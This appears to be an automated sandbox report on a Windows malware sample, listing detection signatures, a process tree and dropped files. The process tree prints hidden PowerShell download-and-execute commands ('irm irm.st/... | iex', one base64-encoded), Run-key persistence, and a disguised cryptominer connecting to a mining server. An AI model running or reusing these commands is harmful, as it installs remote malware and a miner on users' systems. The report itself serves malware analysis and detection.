Overview

overview

8

Static

static

5

auth\O4bL6Cpwn4kO.exe

windows10-2004-x64

8

auth\O4bL6Cpwn4kO.exe

windows11-ltsc_2024-x64

8

loader.exe

windows10-2004-x64

8

loader.exe

windows11-ltsc_2024-x64

8

vcruntime140.dll

windows10-2004-x64

1

vcruntime140.dll

windows11-ltsc_2024-x64

1

version.dll

windows10-2004-x64

8

version.dll

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    151s
  • max time network
    125s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/10/2026, 18:38

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    auth\O4bL6Cpwn4kO.exe
  • Size 131.8MB
  • Sample261027-w97kqaec56
  • SHA256 f200923165a6510508964000f305df45a00bc079f3eb97dcd14ca94ae0cd0dd5
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
executionpersistence

Malware Config

Signatures

  • Badlisted process makes network request 33 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 32 IoCs

    Run Powershell and hide display window.

    execution
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 15 IoCs
    persistence
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\auth\O4bL6Cpwn4kO.exe
    "C:\Users\Admin\AppData\Local\Temp\auth\O4bL6Cpwn4kO.exe"
    1⤵
    • Checks BIOS information in registry
    • Suspicious use of WriteProcessMemory
    PID:5224
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2300
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$id='';for($i=0;$i -lt 6;$i++){$id+=(Get-Random -Minimum 0 -Maximum 10)};iex (irm ('irm.st/'+$id))"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4800
        • C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://c2.doxbin.cy:3333 --user x.xmrrig
          4⤵
          • Executes dropped EXE
          PID:5356
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/959236 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4732
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/959236 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2864
      • C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://c2.doxbin.cy:3333 --user x.xmrrig
        3⤵
        • Executes dropped EXE
        PID:5360
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/117167 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3228
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/117167 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3936
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/378603 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3964
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/378603 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:4540
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/639847 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:6140
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/639847 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:5608
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/972280 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5604
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/972280 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:4104
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/522625 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2612
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/522625 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:3980
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/235296 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4444
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/235296 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:6128
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/436694 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2288
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/436694 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:2848
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/716421 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5580
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/716421 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:2936
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/884044 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2036
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/884044 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:4576
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/597544 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4872
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/597544 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:2888
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/479423 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of WriteProcessMemory
    PID:572
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/479423 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      PID:5632
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/973073 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of WriteProcessMemory
    PID:5868
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/973073 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      PID:720
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/177631 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of WriteProcessMemory
    PID:1648
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/177631 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      PID:1228
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/544275 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of WriteProcessMemory
    PID:5520
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/544275 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      PID:2868

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        ModuleAnalysisCache
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 67KB
        • SHA256 376018e6acff14b5a76b2d14c837ab6ab5eaa0fdb0e2ff1b0a1f0743848bc372
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 607bc6bca92fce0e5e8dfb116204bd9ed59d4a8954f17b534d7b413e8ee29b38
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 2ba3e3a74c12212e5883e330d8e6299c39e36eb6fe6d6ae2c39b2905ca23fde0
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 857b4f5093bb793487ff70d02bee55c5cc19ffefbea9ce4a56792eb5969d9843
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 6ae16df2ece50304fd710f7f794a5820c23b4c86f4f7e23dd008e91d6b00f529
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 82e824743d5bdfd26c0203d5d561e8bf4bcd131abe7af60d671506649200a74d
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 95536388e23737a1addee1426d0a59db7a3abdaacf294e56953d0b4c66ffa6b0
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 237fb6f6f553dbaea85b81f9b192c0a3082bddc68d26bee770efb6293e027cc2
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 08f280cc85f66354647c4204eec948b3010c0f86c4e87f54f9794f59cdd1df6c
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 52fb4e3a97121ee1dedaaacacbd50ecc0f19ed600ea2836c29797410018b7355
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 20e1ea6818c78d2b12908f8a8b299d0f7647acc6dea2637db965622f568733d5
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 187059e782e3b4a2254a4918f76b9d7de0ca0f15299a47f0f804d2810f56f217
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 04bd14b6674152b33f76f62d0fbe95d2e0a4c561e1dab2a965ea90eeedd2f187
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 c165053c4cb1b4cc955c01fb9dedeb33135d7e2159d87a03410618299ba062e7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 1da3f736686430b22e5532439c01f8d5237c2a8fab1e64c442635c225e0c504c
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 1d5c8e4642e3880b9e6c829b4eb8ca1ad3d2eac17a0430b0d44fde35c5ff4993
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 ef2fb5681221e5f77ff88ab90788c3f01c1cec65036f0ac67ff02da5b43d4b8d
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 354d442163ad02a84185f424b254920d89697d71706fcc86773c5072099a53ff
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 75bf2ccc7208f4de684df3fab057a104967f2b1efcea469e43c7898b94819bf1
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 d32917d8efa22e10a07f4ed8865b3971d55582df166f89612669fd4bb5f96aab
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 105585275ba5a083e19511882e0c5c0895115d998bf3b5449e5ef3b5cd64e5e2
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 f521454f3f02fc0273c18e2e03bba0c892a7cec77e168185e476eb1bea737064
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 43cafb557c649536eb33cc9f3cc4f07f08c0f6713a3e4a04cc7832db7e937a8b
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 9082ce5fbeb7ac4f5a13de61e0baf3223b195811ca8771ecad009f6c07bc65ba
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 19484830553b33634f9aa71456b54db3f180e4ac6ecba447e23820fa7012170d
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 dfd7126dc41bfb980f6769c4a934f354819cb3e221358fc8ece2519a2326cb94
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 33d7294729bb57b62532fe26e470dea0b20c27ddf6e18f8f14d399fbdf0d5647
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 a504f83efe3bbcefaaf611ee0464e184165d719213da586d0db923fcdef4a1e5
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 667cf4a1a360341e4912026ca1331cc4ed9b53b659cdf89530e7ea0ef2d2d6b5
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 4717b56036d75087659922f10acfc7e3e19aa0498b6394e66bb5ca384ebc8699
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 f57f76dca6b66fab57f4f04a1baf1e796e9a187cae6e5c346abbb100b9e3dfaf
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        __PSScriptPolicyTest_nw2m3nvb.uyn.psm1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nw2m3nvb.uyn.psm1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/2300-8-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/2300-10-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/2300-7-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/2300-5-0x0000018F48660000-0x0000018F48682000-memory.dmp
        Download

        memory/2300-6-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/2300-2-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/2300-1-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/2300-9-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/2300-11-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/2300-12-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/2300-13-0x0000018F48CE0000-0x0000018F48EA2000-memory.dmp
        Download

        memory/2300-15-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/2300-16-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/2300-0-0x00007FF87E26F000-0x00007FF87E270000-memory.dmp
        Download

        memory/4800-20-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/4800-71-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/4800-47-0x0000023728BB0000-0x0000023728BBA000-memory.dmp
        Download

        memory/4800-46-0x0000023728BD0000-0x0000023728BE2000-memory.dmp
        Download

        memory/4800-42-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/4800-41-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/4800-40-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/4800-38-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/4800-37-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/4800-31-0x0000023728AD0000-0x0000023728AEE000-memory.dmp
        Download

        memory/4800-33-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/4800-35-0x0000023728BF0000-0x0000023728C1A000-memory.dmp
        Download

        memory/4800-36-0x0000023728BF0000-0x0000023728C14000-memory.dmp
        Download

        memory/4800-34-0x0000023728BB0000-0x0000023728BBA000-memory.dmp
        Download

        memory/4800-32-0x0000023728AF0000-0x0000023728BA2000-memory.dmp
        Download

        memory/4800-28-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/4800-24-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/4800-23-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/4800-22-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/4800-21-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/4800-19-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/4800-18-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download

        memory/4800-17-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp
        Download